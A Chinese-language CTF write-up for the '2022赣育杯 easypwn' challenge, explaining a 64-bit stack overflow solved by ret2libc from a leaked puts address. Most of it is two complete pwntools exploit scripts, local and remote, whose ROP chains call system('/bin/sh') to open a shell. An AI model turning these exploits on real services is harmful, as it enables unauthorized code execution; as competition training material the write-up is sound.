2022赣育杯easypwn

pwn的签到题

64位

这里buf有个栈溢出，但是没有后门，没有system，没有/bin/sh

很明显的libc泄露题

 程序运行一开始就把puts地址泄露出来了

 puts

0x7fd1bbb356a0

那么思路就很明显了，用给的puts地址直接计算偏移即可，算出system和/bin/sh

有个问题就是如果要先打本地就要重新泄露puts地址，这个地方是个大坑，libc也不能用给的，需要用本地的libc

打本地的exp

from pwn import *

p=process('/home/pwn/Desktop/que/easypwn')
elf=ELF('/home/pwn/Desktop/que/easypwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_address=0x401186

system_libc=libc.symbols['system']
bin_sh_libc=libc.search('/bin/sh').next()
pop_rdi=0x0000000000401273

puts_libc=libc.symbols['puts']

p.recvuntil("\n")

payload="a"*0x100+'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_address)
p.sendline(payload)

p.recvuntil("\n")
puts_addr=u64(p.recv(6).ljust(8,'\0'))
print(hex(puts_addr))

base_address=puts_addr-puts_libc
system_address=base_address+system_libc
bin_address=base_address+bin_sh_libc

ret=0x000000000040101a

print(hex(base_address))
print(hex(system_address))
print(hex(bin_address))

payload2="a"*0x100+'a'*8+p64(ret)+p64(pop_rdi)+p64(bin_address)+p64(system_address)
p.sendline(payload2)
p.interactive()

 

远程exp

#!/usr/bin/env python

# -*- coding: utf-8 -*-



from pwn import *

p = remote('192.168.xx.xx', xxxx)#这里注意自己改哦

elf=ELF('/home/pwn/Desktop/que/easypwn')

libc=ELF('/home/pwn/Desktop/que/libc.so.6')#题目给的libc



system_libc=libc.symbols['system']

bin_sh_libc=libc.search('/bin/sh').next()



puts_libc=libc.symbols['puts']

puts_addr=0x7f0c91b1f6a0



base_address=puts_addr-puts_libc

system_address=base_address+system_libc

bin_address=base_address+bin_sh_libc



print(hex(base_address))

print(hex(system_address))

print(hex(bin_address))



ret=0x000000000040101a

pop_rdi=0x0000000000401273



payload = 'a'*0x100 +'a'*8+p64(ret)+p64(pop_rdi)+p64(bin_address)+p64(system_address)

p.sendline(payload)

p.interactive()